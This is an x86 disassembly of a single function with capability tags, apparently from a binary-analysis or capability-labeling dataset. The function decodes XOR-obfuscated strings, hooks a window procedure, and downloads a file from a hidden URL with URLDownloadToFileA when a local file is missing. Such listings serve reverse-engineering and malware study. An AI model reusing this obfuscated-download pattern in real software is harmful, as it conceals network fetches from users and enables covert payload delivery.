Function at 0x10075c00
Capabilities:
Check if file exists
Download url
Encode data using xor
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x144
mov eax, dword [0x100e41c4]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x1022f920], 0
push esi
jne 0x10075ed6
mov edx, 0xce
xor ecx, ecx
nop dword [eax + eax]
mov al, byte [ecx + 0x100d542c]
xor al, dl
mov byte [ebp + ecx - 0x130], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x1b
jb 0x10075c30
lea eax, [ebp - 0x130]
mov byte [ebp - 0x115], 0
push eax
call fcn.100843f0
test al, al
sete al
test al, al
je 0x10075c8a
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call 0x10086310
jmp dword [pe_dos_header]
movaps xmm0, xmmword [0x100d69e0]
mov eax, dword [0x101e70a8]
push 0x1003a880
movups xmmword [0x101e74dc], xmm0
push 0xfffffffffffffffc
movaps xmm0, xmmword [0x100d69e0]
push eax
movups xmmword [0x101e74ec], xmm0
mov dword [0x101e74fc], 0xffff
mov dword [0x101e7500], 0xffff
mov dword [0x1022f920], 1
mov dword [0x101eecc4], eax
call dword [sym.imp.USER32.dll_SetWindowLongA]
mov esi, dword [sym.imp.OPENGL32.dll_glGetIntegerv]
mov dword [0x101eeccc], eax
lea eax, [ebp - 0x140]
push eax
push 0x821b
call esi
lea eax, [ebp - 0x144]
push eax
push 0x821c
call esi
mov eax, dword [ebp - 0x140]
xor edx, edx
mov esi, dword [0x101eec48]
lea ecx, [eax + eax*4]
mov eax, dword [ebp - 0x144]
lea eax, [eax + ecx*2]
movzx ecx, byte [0x101eeec5]
cmp eax, 0x20
cmovge ecx, edx
mov byte [0x101eeec5], cl
test esi, esi
je 0x10075d3a
inc dword [esi + 0xa8]
push 0x60b0
call fcn.10093c10
add esp, 4
mov dword [ebp - 0x13c], eax
lea ecx, [ebp - 0x135]
test eax, eax
je 0x10075d61
push ecx
mov ecx, eax
call fcn.10006590
jmp 0x10075d63
xor eax, eax
mov dword [0x101eec48], eax
call fcn.1000cdf0
mov eax, dword [0x101eec48]
test esi, esi
cmovne eax, esi
mov dword [0x101eec48], eax
call fcn.1002df00
cmp byte [0x101eeec5], 0
jne 0x10075d94
call fcn.100025b0
call fcn.1002d2e0
mov edx, 0x1d
xor ecx, ecx
nop dword [eax + eax]
mov al, byte [ecx + str.8mCtHOF]
xor al, dl
mov byte [ebp + ecx - 0x128], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x12
jb 0x10075da0
push 0x101e6d7e
lea eax, [ebp - 0x128]
mov byte [ebp - 0x116], 0
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.1003a9e0
add esp, 0xc
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x10075e3c
mov edx, 0x16
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ecx + str.cli_43]
xor al, dl
mov byte [ebp + ecx - 0x134], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x20
jb 0x10075e00
push 0
push 0
lea eax, [ebp - 0x110]
mov byte [ebp - 0x114], 0
push eax
lea eax, [ebp - 0x134]
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
push 0x104
lea eax, [ebp - 0x110]
push 0
push eax
call fcn.10090bb0
add esp, 0xc
mov edx, 0x35
xor ecx, ecx
nop dword [eax]
mov al, byte [ecx + 0x100d2540]
xor al, dl
mov byte [ebp + ecx - 0x124], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0xd
jb 0x10075e60
mov eax, dword [0x101ef00c]
inc eax
mov byte [ebp - 0x117], 0
push eax
push 0x101e6d7e
lea eax, [ebp - 0x124]
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.1003a9e0
push 0x101e6ef4
push 0x101e6ef0
mov edx, 0x101eeeec
lea ecx, [ebp - 0x110]
call fcn.1004cde0
push 0x104
lea eax, [ebp - 0x110]
push 0
push eax
call fcn.10090bb0
add esp, 0x24
call fcn.1004cee0
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.1008d9f1
mov esp, ebp
pop ebp
ret